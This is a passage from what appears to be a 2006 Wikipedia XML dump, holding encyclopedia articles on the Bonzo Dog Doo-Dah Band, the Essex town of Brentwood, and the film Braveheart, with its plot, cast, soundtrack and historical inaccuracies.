Although the Bonzos had started out playing jazz, they decided to embrace rock in order to counter claims that they were beginning to sound like the [[Temperance Seven]]. (In fact a former member, [[Bob Kerr]], went on to create his own band [[Bob Kerr's Whoopee Band]] which combined the lunacy of the early Bonzo sound with music having a great deal in common with the [[Temperance Seven]]).

As the band's fame increased, they appeared as the resident band on ''[[Do Not Adjust Your Set]]'', a children's show notable for having several future members of ''[[Monty Python's Flying Circus]]'' and [[David Jason]] in the cast.

Their first album ''Gorilla'' included ''Jazz, Delicious Hot, Disgusting Cold'' which savagely parodied their early 'trad' jazz roots and featured some of the most deliberately inept jazz playing ever recorded. ''The Intro and the Outro'' in which every member of the band introduced and played a solo, started with genuine band members:
:Hi there, nice to be with you, happy you could stick around. 
:Like to introduce &quot;Legs&quot; Larry Smith, drums 
:And Sam Spoons, rhythm pole 
:And Vernon Dudley Bohay-Nowell, bass guitar 
:And Neil Innes, piano. 
:Come in Rodney Slater on the saxophone 
:With Roger Ruskin Spear on tenor sax. 
:Hi, Vivian Stanshall, trumpet. 

before including such improbable members as:
:Big hello to big [[John Wayne]], xylophone 
:Looking very relaxed [[Adolf Hitler]] on vibes
:[[Eric Clapton]] on ukulele ''[it was actually Clapton playing]'', 
:Yeah! Digging [[Charles de Gaulle|General de Gaulle]] on accordion.
:Really wild, General! Thank you, sir. 
:[[Roy Rogers]] on [[Trigger (horse)|Trigger]] ''[sound of flowing liquid]''. 
:We welcome [[Val Doonican]] as himself. ''[Irish voice repeats &quot;Hello there&quot;]''.

Much later, Stanshall was to provide an introduction on [[Mike Oldfield]]'s first instrumental album, [[Tubular Bells]], which echoed the style of The Intro, but without the blatant absurdities.

==Urban Spaceman et al.==
They had a hit single in 1967 with ''I'm the Urban Spaceman'' which was produced by [[Paul McCartney]] under the pseudonym &quot;Apollo C. Vermouth&quot;. [[The Beatles]] were great fans of the group and they featured them performing the song ''[[Death Cab for Cutie (song)|Death Cab for Cutie]]'' in their film ''[[Magical Mystery Tour (film)|Magical Mystery Tour]]''. Their anarchic song ''Trouser Press'' &amp;mdash; featuring a solo by Roger Ruskin Spear on a genuine trouser press he had fitted with a pickup &amp;mdash; gave its name to an American anglophiliac rock magazine ([[Trouser Press]]. ''Can Blue Men Sing the Whites?'' lampooned the British blues boom, and tap dancer/drummer &quot;Legs&quot; Larry Smith was an onstage hit with his lubricous dancing. Another notable number, ''Humanoid Boogie'' [[roots of rap music|presaged rap music]]. Many of their songs parodied parochial suburban British attitudes, notably ''My Pink Half of the Drainpipe'' on the album ''The Doughnut in Granny's Greenhouse'' (a euphemism for a toilet built in a back garden).

[[Image:Bonzo.jpg|Thumb|200px|left]]

In [[1969]] they released the album ''Keynsham'' (1969)  and also appeared at the [[Isle of Wight Festival]]. 

The Bonzos toured the [[United States]] with [[The Who]] and also appeared at the [[Fillmore East]] with [[The Kinks]].  Intro'd as a &quot;warm-up act&quot; for the real show, the Bonzos rushed out and did a series of frenetic [[calisthenics]].  True to the dada spirit, Stanshall performed a mock [[striptease]] and Roger Ruskin Spear, with a platoon of robots (including one that sang ''[[I'm Forever Blowing Bubbles]]'' while actually blowing bubbles), did whatever he did without regard for what the rest of the band was doing.  As for ''The Canyons of Your Mind'', it featured such an incredibably bad [[guitar solo]] it drove audiences to open-mouthed delight.  Before long, many larger bands would not play with Bonzo support because no one wanted to see the Bonzos leave the stage, which meant no one wanted to see the top-of-the-bill arrive on the stage.

One of the Bonzos' song titles, ''[[Cool Britannia]]'', was revived as a label for a supposed trend in the UK media following the 1997 election of a [[Labour]] government (oblivious of the patently satirical intent of the original song).

==The band's line-up==
The line-up varied, sometimes on a weekly basis and a list (although incomplete) of members would include: [[Vivian Stanshall]] on trumpet, [[&quot;Happy&quot; Wally Wilks]], [[Tom Parkinson]], [[Chris Jennings]], [[Claude Abbo]], [[Trevor Brown]], [[Tom Hedge]], [[Rodney Slater (musician)|Rodney &quot;Rhino&quot; Desborough Slater]] on saxophone, [[Eric Idle]], [[Neil Innes]] on piano and guitar, [[Roger Ruskin Spear]] on tenor sax, [[Vernon Dudley Bohay-Nowell]] on electric guitar, [[Eric Clapton]] on ukulele, [[Elton John]], [[Paul McCartney]], [[Martin &quot;Sam Spoons&quot; Ash]] on the rhythm pole, [[Leon Williams]], [[John Parry]], [[Raymond Lewitt]], [[Sydney &quot;Big Sid&quot; Nicholls]], [[&quot;Legs&quot; Larry Smith]] on drums, [[James &quot;Jim Strobes&quot; Chambers]], [[Bob Kerr]], [[Dave Clague]], [[Joel Druckman]], [[&quot;Borneo&quot; Fred Munt]], [[Chalky Chalkey]], [[Dennis Cowan]], [[Aynsley Dunbar]] on drums, [[Jim Capaldi]] on drums, [[Anthony 'Bubs' White]] on guitar, [[Andy Roberts]],[[ Dave Richards]], [[Dick Parry]], [[Hughie Flint]] and [[Glen Colson]].

&quot;Legs&quot; Larry Smith toured with Clapton and [[Elton John]] and can be heard tap dancing on John's ''I Think I'm Going to Kill Myself''.

[[Image:Neil Innes sings Hello Mabel flanked by Vivian Stanshall and Legs Larry Smith.jpg|thumb|300px|center|[[Neil Innes]] sings ''Hello Mabel'' on ''[[Do Not Adjust Your Set]]'', flanked by [[Vivian Stanshall]] (left) and &quot;Legs&quot; Larry Smith.]]

==January 2006 reunion: Bonzo Dog Doo Dah Band Revisited==
On [[Saturday]], [[January 28]] [[2006]] many surviving members of the band reformed and played a concert at the [[Astoria]], [[London]]. Neil Innes, &quot;Legs&quot; Larry Smith, Roger Ruskin Spear, Rodney Slater, Sam Spoons and Vernon Dudley Bohay-Nowell appeared. There was also a number of special guests, including; [[Stephen Fry]], [[Ade Edmondson]], [[Phill Jupitus]] and [[Paul Merton]]. Their trademark stage antics were very much in evidence including performances on the [[Theremin]] Leg and Trouser Press. Tickets for the event sold out within two days. The show was filmed and it is believed that a [[DVD]] will be released in October 2006.

==Discography==
===Studio albums===
*[[1967]] ''Gorilla''
*[[1968]] ''The Doughnut in Granny's Greenhouse'' (chart #40)
*[[1969]] ''Tadpoles'' (chart #36)
*[[1969]] ''Keynsham''
*[[1972]] ''Let's Make up and Be Friendly''

*Note: ''The Doughnut in Granny's Greenhouse'' was released as ''Urban Spaceman'' in the US.

===Singles===
*[[1966]] ''My Brother Makes the Noises for the Talkies''
*[[1966]] ''Alley Oop''
*[[1967]] ''Equestrian Statue''
*[[1968]] ''I'm the Urban Spaceman'' (chart #5)
*[[1969]] ''Mr Apollo''
*[[1969]] ''I Want To Be With You''
*[[1972]] ''King of Scurf'' (US) / ''Slush'' (UK)
*[[1992]] ''No Matter Who You Vote For the Government Always Gets In (Heigh Ho)''

===Compilations and miscellaneous===
*[[1970]] ''The Best of the Bonzos''
*[[1974]] ''The History of the Bonzos''
*[[1984]] ''The Very Best of the Bonzo Dog Doo-Dah Band''
*[[1990]] ''The Bestiality of the Bonzos''
*[[1990]] ''The Best of the Bonzo Dog Band''
*[[1992]] ''Cornology''
*[[1995]] ''Unpeeled''
*[[1999]] ''Anthropology: The Beast Within''
*[[2002]] ''The Peel Sessions''

==See also==
*[[The Alberts]]
*[[The Rutles]]

==External links==
*[http://www.iankitching.me.uk/music/bonzos/ ''The Bonzo Dog Doo-Dah Band'' by Ian Kitching]
**Extremely detailed fan site, with additions being made over a period of eleven years.
*[http://www.trouserpress.com/entry.php?a=bonzo_dog_doo_dah_band The Bonzo Dog Band at ''The Trouser Press'']
**A superior discography and critique of all the studio albums plus notable compilations from a music publication named after a Bonzo's song.
*[http://www.geocities.com/fredpipes/blog/2006/01/bonzo-dog-doo-dah-band-revisited.html ''The Bonzo Dog Doo Dah Band Revisited'']
**A fan's review of the January 2006 reunion concert.
*[http://entertainment.timesonline.co.uk/article/0,,14936-2016850,00.html ''The Bonzo Dog Doo-Dah Band Revisited'']
**Review, ''[[The Times]]'', [[January 31]], [[2006]].


[[Category:English musical groups]]
[[Category:Comedy musicians]]
[[de:Bonzo Dog Doo-Dah Band]]</text>
    </revision>
  </page>
  <page>
    <title>Brentwood, Essex</title>
    <id>4559</id>
    <revision>
      <id>41015097</id>
      <timestamp>2006-02-24T14:20:33Z</timestamp>
      <contributor>
        <username>Peter Hobday</username>
        <id>209329</id>
      </contributor>
      <minor />
      <comment>/* Other information */</comment>
      <text xml:space="preserve">{{infobox England place with map|
   |Place=             Brentwood
   |Map =              Brentwood - Essex dot.png
   |Population =       44,800
   |District=          [[Brentwood (borough)|Brentwood]]
   |County=            [[Essex]]
   |Region=            [[East of England]]
   |Ceremonial=        [[Essex]]
   |Traditional=       [[Essex]]
   |Police=            [[Essex Police]]
   |Constituency=      [[Brentwood and Ongar (UK Parliament constituency)|Brentwood and Ongar]]
   |PostalTown=        BRENTWOOD
   |PostCode=          CM14
   |DiallingCode=      01277
   |GridReference=     TQ605935
   |Euro=              [[East of England (European Parliament constituency)|East of England]]
}}
'''Brentwood''' is a town in [[Essex]], [[England]] and part of the [[London commuter belt]]. Its center is situated 2 miles (3.2 km) east north-east of junction 28 of the [[M25 motorway]] and 20 miles (32.2 km) east north-east of Charing Cross in [[London]].

The [[Brentwood (borough)|borough of Brentwood]], which is the local government of the area, is both named after and based in the town, although it also encompasses the surrounding smaller towns and villages.


==History==
The name derives from a corruption of the words 'Burnt Wood', the name Burntwood can still be seen on some old maps. This old name describes the presumed reason for settlement in the part of [[Epping Forest]] that would have covered the area. 

[[Robert Graves]] claims that Brentwood was the site of the battle where [[Claudius]] defeated the [[Ancient Britons]] in [[44|44AD]].

Brentwood was also the meeting place of some of the instigators of the [[Peasants' Revolt]] such as [[John Ball (priest)|John Ball]] and [[Jack Straw (rebel leader)|Jack Straw]]. They, apparently, met regularly in local pubs and inns. One such pub is the White Hart, one of the oldest buildings in Brentwood, and a pub has stood on the site for over 500 years (in 2004 it was converted to a Thai restaurant).

Brentwood is also the site of the 12th Century ruin of [[Thomas à Becket]] Chapel. A popular stopping point for pilgrims on their way to Canterbury, indeed one local village is called [[Pilgrims Hatch]], which means 'Pilgrims Gate.' The ruin stands in the centre of the High Street, next to the Tourist Information office -- itself a building of much historical interest.

==Business==
It is the former home of [[Thermos]], the manufacturers of the [[vacuum flask]]s, and still has [[Brentwood School (Brentwood, England)|Brentwood School]] and [[Amstrad]], the computers and electricals company.

Brentwood was also the home of the [[British East India Company|East India Company]]'s Elephant training school - the site, based in Warley, is now headquarters of [[Ford Motor Company|Ford]] UK.

The engineering company [[NV Tools]] famous for creating the SOSS hinge originated in Brentwood.

==Boring town==
In the mid 1990s there sparked a controversy that has plagued Brentwood ever since. Is Brentwood boring? This question even made the national news, and sparked amused debate nationwide, especially when it was noticed that Brentwood is in fact an anagram of 'Bored Town.'

The comments were initially sparked by [[David McClucky]], the manager of Brentwood Theatre at the time who, while being interviewed by a local reporter about what theme he was choosing for the upcoming Brentwood Festival (a parade and general street festival which now seems sadly defunct), that it was &quot;hard to pick something interesting about Brentwood&quot; to celebrate. He later said he had meant it was hard to pick from the many interesting historical events in Brentwood's history. Some people have speculated that his true meaning was portrayed correctly, and his later comments were backtracking.

Either way Brentwood now has this spectre hanging over it. The demise of its local cinema around that time did not help matters. Even today -- while overstocked with pubs, bars, and restaurants -- Brentwood still seems to have these events hanging over its head, and the residents seems split as to which side is correct.

==Other information==
The town is served by a community radio station, [[Phoenix FM]].  The station was formed in [[August 1996]] and broadcast ten trial broadcasts under a Restricted Service Licence, each lasting 28 days; the first starting on [[29 December]] [[1996]] and the last ending on [[25 February]] [[2006]].  On [[16 February]] [[2006]] the group received an announcement from Ofcom that it had been successful in its application for a permanent radio licence.

[[Brentwood Cathedral]] is the seat of the [[Roman Catholic]] [[Bishop of Brentwood]].

The Brentwood Theatre is just off the High Street and has a growing reputation for high quality productions. Mark Reed and David Zelly work hard to keep the theatre going - without any subsidy. On the same site sits The Hermitage, the centre for Brentwood Youth Service, with which the theatre is very much involved. 

The Youth Service operates its own cafe/youth club and a live music venue called The Hermit, which has had bands such as [[Motorhead]] and [[InMe]] play there. InMe in fact were heavily supported in their early years by the venue, whose purpose is to promote and encourage youth bands. It also plays host to private events such as a weekly Jazz Club that was, until his death, run by the famous saxophonist [[Spike Robinson]]

Both venues co-host The [[Brentwood Blues Festival]], a well respected music event that has played host to The [[Blockheads]], [[Bill Wyman]] and many more.

==Notable institutions==
*[[Brentwood School (Brentwood, England)|Brentwood School]]

==Nearest places==
*[[Hutton]]
*[[Ingrave]]
*[[Herongate]]
*[[Ongar]]
*[[Pilgrims Hatch]]
*[[Greensted Church]]
*[[Shenfield]]
*[[Warley, Essex|Warley]]

==Nearest railway station==
*[[Brentwood railway station]]
*[[Shenfield railway station]]

==External links==
*[http://www.phoenixfm.com/ Phoenix FM]
*[http://www.boredtown.co.uk/ Bored Town] - a website dedicated to how boring Brentwood is.

[[Category:Towns in Essex]]</text>
    </revision>
  </page>
  <page>
    <title>Braveheart</title>
    <id>4560</id>
    <revision>
      <id>41756884</id>
      <timestamp>2006-03-01T14:56:29Z</timestamp>
      <contributor>
        <username>Tommyt</username>
        <id>273563</id>
      </contributor>
      <comment>/* Plot Synopsis */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     =Braveheart |
  image          =Braveheart.jpg|
  director       =[[Mel Gibson]] |
  producer       =[[Bruce Davey]] &lt;BR \&gt; Mel Gibson &lt;BR \&gt; [[Alan Ladd Jr.]] |
  writer         =[[Randall Wallace]] |
  starring       =Mel Gibson &lt;BR \&gt; [[Sophie Marceau]] &lt;BR \&gt; [[Patrick McGoohan]] |
  distributor    =[[20th Century Fox]] [[Paramount Pictures]]  |
  music          =[[James Horner]] |
  released   =[[May 24]], [[1995]] |
  runtime        =177 min. |
  language =English |
  budget         =$53,000,000 |
  music          = |
  awards         = |
  imdb_id        =0112573 |
|}}
'''''Braveheart''''' is an epic [[United States|American]] [[motion picture]] released in [[1995]] based on the life of [[William Wallace]], a [[national hero]] in [[Scotland]]. [[Mel Gibson]] played Wallace and also [[film director|directed]] the film.

{{spoiler}}

==Plot Synopsis==

The film opens with a narrator telling us &quot;I shall tell you of William Wallace.  
Historians from England will say I am a liar, but history is written by those who have hanged heroes.&quot;

In the first scene a young William Wallace seeing the hanged bodies of Scotsmen and boys who had traveled to a meeting with representatives of [[King Edward I|Edward I]], popularly known as Longshanks. Edward I was a ruler of unlimited cruelty, whose intention is to destroy the indigenous population of [[Scotland]] through war or by breeding. He invokes an ancient law, [[primae noctis]] (“first night&quot;), which allows lords the first sexual rights to any common woman on her wedding night.

William’s father and older brother leave home to do battle with Edward's army. Both are killed and their bodies are returned home to an orphaned William. Following the funerals, William’s uncle, Argyle, adopts William and takes him on a 20 year journey across [[Europe]], a journey that becomes William’s education.

When William returns to his homeland Longshanks’ son has married Isabelle, a French princess, in a political ploy that Edward believes will increase his power over [[France]]. William hopes to rebuild his father’s farm, marry, and raise a family. He reunites with his childhood love, Murron, and they marry in secret to avoid Longshanks’ law of prime nocte. However, when Murron is attacked by the local English guards, William fights them and retreats into hiding. Murron, unable to escape with William, is captured and brutally executed in public by the local magistrate seeking to set an example against dissension, but more directly to provoke her husband. 

William rides back to the village on horseback, feigning surrender but at the last second he instead attacks the English soldiers, his one man fight is soon joined by his friend Hamish, Hamish's father Campbell, and the local townsfolk who kill every soldier in the magistrate's fortress. Bound by revenge, William kills the magistrate in the same fashion that the man killed Murron. Shortly after, William captures an even larger English garrison. The loss of this second base angers the King who sent an army to fight Wallace but word has already spread and highlanders come in droves to fight this invading force.

Their first victory in this war comes at the [[Battle of Stirling Bridge|Battle of Stirling]] . William, leading an outnumbered army, boosts their confidence with a charismatic speech. They outwit the English [[cavalry]] with long spears and slaughter the remaining infantry and their general.

Though awarded the post of “High protector of Scotland” by the Scots nobles, William is still unable to convince them to solidly unite and invade England to ensure their victory and drive Longshanks from Scotland forever. The highest ranking noble, [[Robert the Bruce]], a possible heir to the [[throne of Scotland]], tells William that his efforts are directed more out of rage and vengeance, rather than the preservation of his homeland. William agrees but also sees the Bruce as the kind of leader Scotland needs and bids him to unite the clans.

William makes the decision to invade [[England]] himself and his army marches several hundred miles to the city of [[York]]. They successfully raid the city and seize control of it. The local magistrate is beheaded and his head is sent to London as a message to Longshanks.

Longshanks sends the [[Princess of Wales]], [[Isabella_of_France|Isabelle]], to York to negotiate a truce with William. He meets with her but refuses to accept Longshanks demands. He cites Longshanks longstanding cruel treatment of Scotland and his attempts at [[genocide]]. The princess returns to [[London]] to find that the meeting she held was a distraction from Longshanks strategy to send his armies to Scotland and attack Wallace’s flank. Isabelle sends a courier to William with the news. He musters his troops and marches back to Scotland to engage the English army at [[Falkirk]]. During the battle William again proves to be the better tactician, using his archers to ignite a field laden with oil between his infantry and Longshanks’ with the English cavalry trapped in the middle. Additionally, during the battle, the [[Irish]] soldiers accompanying Longshanks’ army join Wallace’s army, doubling its size instantly. However, Longshanks was able to subversively recruit the Scots nobles and their cavalry. No longer a backup force for Wallace, they leave their “ally” for dead. William escapes the ensuing slaughter and rides after Longshanks. He is stopped short by Longshanks’ helmeted companion whom Wallace reveals to be Robert the Bruce. Robert helps William escape arrest and return to his army. At the Scots army encampment, Hamish watches his father die as William looks on. William realizes that his pride has caused their defeat.

Though his army is defeated, William is still able to rally more highlanders to his cause and rebuild his forces. He also takes brutal vengeance on several of the nobles, murdering [[Mornay]] in his bedroom (on horseback) and [[Lochlan]], whose body he drops through an open window onto Lord Craig's dinner table. Longshanks realizes Wallace is once again becoming invulnerable and plots to assassinate William, again using the princess as a ploy. The princess again warns William and the assassins are brutally killed by their quarry and Hamish. William secretly visits the princess to thank her and the two make love.

Several months pass and Longshanks works subversively to trap Wallace. Robert the Bruce is the decoy this time, calling Wallace to a meeting to negotiate a truce. William is captured at [[Edinburgh]] by English soldiers and the Scottish nobles who betray him a second time. He is sent to London for public execution.

Princess Isabelle pleads with William to beg the king for mercy. William refuses, preferring to die a free man. Isabelle later pleads with the king to spare Wallace’s life. The king is unable to speak due to a fatal, unknown illness (most likely [[tuberculosis]] as per the heavy cough that plagues him in the film's second half), but his will is unchanged. Whispering in the king’s ear, Isabelle reveals that she is pregnant with Wallace’s child and his offspring will be heir to the throne.

Wallace is brought into the public square for execution. He is offered [[clemency]] (which translates to a quick death by beheading) in exchange for declaring himself the king’s loyal subject. He refuses and is strung up, first by his neck, then by his wrists and ankles. He is then tied to a cross and disemboweled alive. Refusing the taunts of the executioner to accept subjectivity to the king he yells his last word, “Freedom!”. Realizing that Wallace will not be broken, even under extreme pain, the executioner orders his beheading. An instant before the axe falls Wallace sees Murron floating among those in the crowd. The small cloth that Wallace was given him by his wife as a wedding gift falls from his hand.

In Scotland, shortly after the execution, Robert the Bruce leads the remnants of Wallace’s army onto the field at Bannockburn to accept the title of [[King of Scotland]]. Holding the small cloth that fell from Wallace’s hand in his final moment of life, he rallies the army to do battle with the English, much to the consternation of the nobles, who'd hoped that the Bruce would accept his title without incident. A voiceover by Wallace/Mel Gibson informs us that the year is [[1314]], the Scots were victorious and that Scotland was free.

==Awards==
The film won numerous awards including the [[1995]] [[Academy Award]] for:
*[[Academy Award for Best Picture|Best Picture]]
*[[Academy Award for Directing|Direction]], Mel Gibson
*[[Academy Award for Best Cinematography|Best Cinematography]]
*[[Academy Award for Makeup|Makeup]]
*[[Academy Award for Best Sound Editing, Sound Editing| Best Sound Editing]]

'''Nominated:'''
*[[Academy Award for Film Editing|Film Editing]]
*[[Academy Award for Costume Design|Costume Design]]

==Box Office==
Braveheart is 270th in the largest amount grossed from a film (worldwide).  In terms of actual figures, Braveheart's total lifetime gross is:

* US: $75,609,945
* Worldwide: $210,409,945

On opening weekend, Braveheart grossed:

* US: 9,938,276

==Political effects==

The film is credited with provoking a significant upsurge of Scottish nationalism, in particular with leading the majority of the Scottish people, for the first time ever to poll majorities in favour of Scottish independence.

==Historical Accuracy==
Braveheart is a work of [[fiction]], which draws inspiration from real historical events. However, due to the intense level of detail in costuming, makeup and special effects, audiences may incorrectly assume that the production is intended to be historically accurate. Some of the &quot;inaccuracies&quot; in Braveheart may be motivated by artistic reasons. The anachronistic kilts worn by the Scots make the rebels more visually distinctive, the incomplete armor and missing helmets allow viewers to recognize the actors, and changes to characters and names make the story easier to follow. Modifications to the sequence of events create dramatic juxtapositions, allowing different lines in the story to appear to occur simultaneously. Some noted critiques include:

# Braveheart's plot includes an affair between William Wallace and the Princess Isabelle, based upon [[Isabella of France]]. The film implies she is pregnant at the time of Wallace's execution, possibly carrying the future [[Edward III of England]]. Historically, the real Isabella was a child of nine still living in France at this time, she never met Wallace, and furthermore, was never a [[Princess of Wales]], as she was married to Edward II after he became king. Also [[Edward III of England]] was born in 1312, seven years after Wallace's death; thus it is impossible for Edward III to have been Wallace's son. (Note: this idea may have been derived from the play ''[[The Wallace]]'' by [[Sydney Goodsir Smith]].)
# Gibson was critiqued for his portrayal of Isabella's future husband, [[Edward II of England]]. Although most historians agree that Edward was [[homosexuality|homosexual]], many complained that the film presented demeaning [[stereotypes]] towards Edward. In the commentary, Mel Gibson explained he didn't intend to show hate towards anyone portrayed in the film (including the English). It also must be recalled that Mel Gibson did not write the screenplay.
# The [[Battle of Stirling Bridge]], the first skirmish in the film, was filmed without a bridge. The actual conflict was more of an ambush of the English as they attempted to cross a river. (It is rumoured that Gibson told a Scottish local the bridge was removed as it got in the way, and the local replied &quot;that's what the English found&quot; [http://www.fanaticus.org/DBA/battles/stirlingbraveheart.html].) The film also makes no mention of [[Andrew de Moray]], Wallace's companion-in-arms and a major contributor at this battle. Curiously, the fight shown in the film is more like the [[Battle of Bannockburn]] 17 years later, with English cavalry charging Scottish [[schiltrons]] and being repulsed. 
# The film creates the impression that William Wallace invented the Scottish [[schiltrons]] and handed out pikes just before the battle. This is completely untrue. 
# [[Edward I of England|Edward I]]'s second wife, Margaret, whom he married in [[1299]], is absent from the film, although the span of history covered in the production includes this year. This implies his first wife [[Eleanor of Castile]] was his only spouse.
# The film shows [[Irish people|Irish]] [[Conscription|conscripts]] switching sides and joining Wallace's forces at the [[Battle of Falkirk (1298)|Battle of Falkirk]]. The Irish forces were hired mercenaries who, from all accounts, fought well for Edward I. The Celtic soldiers who did display some rebellious tendencies were the [[Welsh people|Welsh]], who had been [[Conquest of Wales|conquered]] about a decade earlier.  Edward I intended to use them as the first wave of attack and essentially as schiltron fodder.  They did not take kindly to such intentions, even if they did not actually switch sides.
# The film implies that Wallace's rebellion took place against a background of a fairly lengthy English occupation of Scotland.  Actually, they had only invaded Scotland the year before ([[1296]]) and the mass hanging of Scottish nobles which Wallace witnessed as a boy never happened.
# The sword carried by Gibson is a [[16th century]] Scottish [[claymore]].  While a sword which is claimed to have belonged to Wallace (although this is disputed) exists in Scotland, it is significantly simpler.
# There is some controversy about whether the ''jus prima noctis'' (also known as the ''[[droit de seigneur]]''), the supposed right of a Lord to deflower virgins in his territory, actually existed, but it certainly did not exist in either England or Scotland during this period.
# It is unclear whether Wallace had a wife or what her name was, but according to Scottish tradition her name was [[Marion Braidfute]], apparently her name was changed to Murron in the film so audiences would not confuse her with [[Maid Marian]] from the [[Robin Hood]] stories.
# Wallace's long-standing hatred for the English may not have been because of his wife's death.  According to one legend, it arose from the fact that two English soldiers challenged Wallace over some fish he had caught. The argument escalated into a fight, resulting in Wallace killing the soldiers.
# The then-future King [[Robert I of Scotland|Robert the Bruce]] is described as &quot;Earl of Bruce&quot;, but actually, his title before becoming king was ''Comes'' (count, mormaer or earl) of [[District of Carrick, Ayrshire|Carrick]].
#''Braveheart'' suggests Wallace supported the Bruce claim to the Scottish throne; however, Wallace supported the Balliol claim while Bruce was convinced of his father's rightful succession.
# The reality of William Wallace's capture and [[Hanged, drawn and quartered|execution]] was far worse than shown in the film.
# The movie depicts [[Robert Bruce, Earl of Carrick|Robert the Bruce's father]] (who was also named Robert) as a leper. There is no historical record of this though Bruce himself contracted a disease before his death that has sometimes been alleged to be [[leprosy]].
# Bruce did not betray Wallace at Falkirk.  He did eventually switch sides but that was a few years later and as a result of a dispute with the Comyns (not depicted in the film) who supported the Balliol claim to the throne.  The Scottish war effort collapsed a few years later because of the defeat of their French allies by the Flemish at [[Battle of the Golden Spurs|Courtrai]] in [[1302]]. Wallace was hunted down when the Scots were forced to surrender in [[1305]].
# In his speech before the battle of Stirling Bridge, Mel Gibson's Wallace alludes to a hundred years of tyranny.  Ironically, the [[13th century]] was one of the few centuries when Anglo-Scottish relations were relatively peaceful. This changed after the unexpected death of [[Alexander III of Scotland|Alexander III]] in [[1286]], when Edward I stepped in to resolve the dispute over the Scottish crown, and used this opportunity to revive English claims of overlordship.
# The film depicts Edward I dying at the same time as Wallace was executed.  In fact, Wallace's execution took place in 1305, in Westminster, and King Edward died in 1307, two years later, en route to put down a fresh rebellion of the Scots, led by Robert the Bruce.
#Edward I never [[defenestrate|defenestrated]], or otherwise killed or harmed, Edward II's lovers.
# In battle, Wallace is shown painted blue with [[woad]], a fashion that had become extinct at least with the Picts, some 5 centuries before his time, if not even earlier.

Gibson, in his commentary to the film, admits many of these historical inaccuracies such as ''prima nocte'' quite candidly.

For a historical treatment of events see the [[William Wallace]] entry. However, as the film notes &quot;history is written by those who have hanged heroes&quot;.

==Miscellaneous==
In 1997 a statue of Gibson as &quot;William Wallace&quot; was placed in the car-park of the [[Wallace Monument]] near [[Stirling]], [[Scotland]]. The statue, which includes the word &quot;Braveheart&quot; on Wallace's shield, was the cause of much controversy and one local resident stated that it was wrong to &quot;desecrate the main memorial to Wallace with a lump of crap&quot;. In [[1998]] the statue was vandalised by someone who smashed the face in with a hammer. After repairs were made, the statue was encased in a cage at night to prevent further vandalism. This has only incited more calls for the statue to be removed as it now appears that the Gibson/Wallace figure is imprisoned; an irony, considering that the statue bears the word &quot;Freedom&quot; on the plinth.

==Cast==
* [[Mel Gibson]] - [[William Wallace]]
* [[Sophie Marceau]] - Princess [[Isabella_of_France|Isabelle]]
* [[Patrick McGoohan]] - King [[Edward I]] Longshanks 
* [[Catherine McCormack]] - [[Marion Braidfute|Murron MacClannough]]
* [[Angus MacFadyen]] - [[Robert the Bruce]]  
* [[Brendan Gleeson]] - [[Hamish Campbell]] 
* [[Ian Bannen]] - [[Robert de Brus, 6th Lord of Annandale|Robert the Bruce, Sr.]]
* [[Alun Armstrong (actor)|Alun Armstrong]] - Mornay  
* [[Michael Byrne]] - Smythe  
* [[Liam Carney]] - Sean  
* [[Bernard Horsfall]] - Balliol  
* [[Phil Kelly]] - Farmer  
* [[Sean McGinley]] - MacClannough
* [[Gerda Stevenson]] - Mother MacClannough  
* [[Tam White]] - MacGregor  
* [[Joe Savino]] - Chief Assassin  
* [[Ralph Riach]] - Priest No 1  
* [[David O'Hara]] - [[Stephen (Braveheart)|Stephen]]  
* [[Niall O'Brien]] - English General No 2  
* [[Alex Norton]] - Bride's Father  
* [[Martin Murphy]] - Lord Talmadge  
* [[Peter Mullan]] - Veteran  
* [[Barry McGovern]] - King's Advisor No 2  
* [[Tommy Flanagan (actor)|Tommy Flanagan]] - Morrison  
* [[Julie Austin]] - Mrs Morrison  
* [[James Robinson]] - Young William
* [[Mhairi Calvey]] - Young Murron MacClannough 
* [[Donal Gibson]] - Stewart  
* [[Rupert Vansittart]] - Lord Bottoms  
* [[Alan Tall]] - Elder Stewart  
* [[Robert Paterson]] - Priest No 2  
* [[John Murtagh]] - Lochlan  
* [[Gerard McSorley]] - Cheltham  
* [[Jeanne Marine]] - Nicolette  
* [[Sean Lawlor]] - [[Malcolm Wallace]]
* [[Sandy Nelson (actor) | Sandy Nelson]] - [[John Wallace]]
* [[Malcolm Tierney]] - Magistrate  
* [[James Cosmo]] - Campbell  
* [[David McKay]] - Young Soldier  
* [[Brian Cox]] - [[Argyle Wallace]]
* [[Mal Whyte]] - Jailor  
* [[Jimmy Keogh]] - Drinker No 2  
* [[John Kavanagh]] - Craig  
* [[Peter Hanly]] - Edward, Prince of Wales
* [[Martin Dempsey]] - Drinker No 1
* [[Martin Dunne]] - Lord Dolecroft  
* [[David Gant]] - Chief Justice/Executioner

==Soundtrack albums==
Like the film itself, the ''Braveheart'' soundtrack has become popular with consumers and the soundtrack has recorded strong sales levels.  The soundtrack is composed by composer [[James Horner]], who also composed soundtracks for [[Titanic (1997 film)|''Titanic'']], [[Aliens (1986 film)|''Aliens'']], and [[Apollo 13 (film)|''Apollo 13'']].  Consumers have been drawn to the Scottish and Celtic music that is integrated into the score.  The first soundtrack was so successful that Horner produced a follow-up soundtrack in 1997 titled ''More Music from Braveheart''. International and French versions of the soundtrack have also been released.  The original album contains 77 minutes of background music taken from significant scenes in the film.  

===''Braveheart'' (1995)===
# Main Title (2:51)
# A Gift of a Thistle (1:37)
# Wallace Courts Murron (4:25)
# The Secret Wedding (6:33)
# Attack on Murron (3:00)
# Revenge (6:23)
# Murron’s Burial (2:13)
# Making Plans/ Gathering the Clans (2:05)
# “Sons of Scotland” (6:19)
# The Battle of Stirling (6:07)
# For the Love of a Princess (4:07)
# Falkirk (4:04)
# Betrayal &amp; Desolation (7:48)
# Mornay’s Dream (1:18)
# The Legend Spreads (1:09)
# The Princess Pleads for Wallace’s Life (3:38)
# “Freedom”/The Execution/ Bannockburn (7:24)
# End Credits (7:12)

===''More Music from Braveheart'' (1997)===
The follow-up soundtrack features much more dialogue taken from the actual film than did the original soundtrack.

# Prologue/ &quot;I Shall Tell You of Williams...&quot; (dialogue-Robert the Bruce) (3:35)
# Outlawed Tunes on Outlawed Bag Pipes (2:03)
# The Royal Wedding (dialogue-Robert the Bruce)(2:12)
# &quot;The Trouble with Scotland&quot; (dialogue-King Edward the Longshanks)(0:40)
# Scottish Wedding Music (1:14)
# Prima Noctes (1:46)
# The Proposal (dialogue-Wallace and Murron)(1:35)
# &quot;Scotland is Free!&quot; (dialogue-Wallace)(0:17)
